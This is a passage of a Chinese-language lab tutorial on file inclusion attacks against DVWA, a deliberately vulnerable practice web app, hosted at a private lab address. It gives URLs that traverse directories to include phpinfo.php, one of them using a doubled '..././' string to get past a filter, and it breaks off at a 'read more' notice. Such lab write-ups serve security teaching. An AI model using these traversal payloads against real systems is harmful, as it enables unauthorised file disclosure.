文件包含攻击实验

来源：化拓教育网

实验环境：

实验需求：

实验步骤：

1. low 级别

get 型

修改 URL

http://192.168.221.130/dvwa/vulnerabilities/fi/?page=file4.php

http://192.168.221.130/dvwa/vulnerabilities/fi/?page=../../phpinfo.php

查看源代码

双写绕过

http://192.168.221.130/dvwa/vulnerabilities/fi/?page=..././..././phpinfo.php

查看源代码

用 file 协议

因篇幅问题不能全部显示，请点此查看更多更全内容

查看全文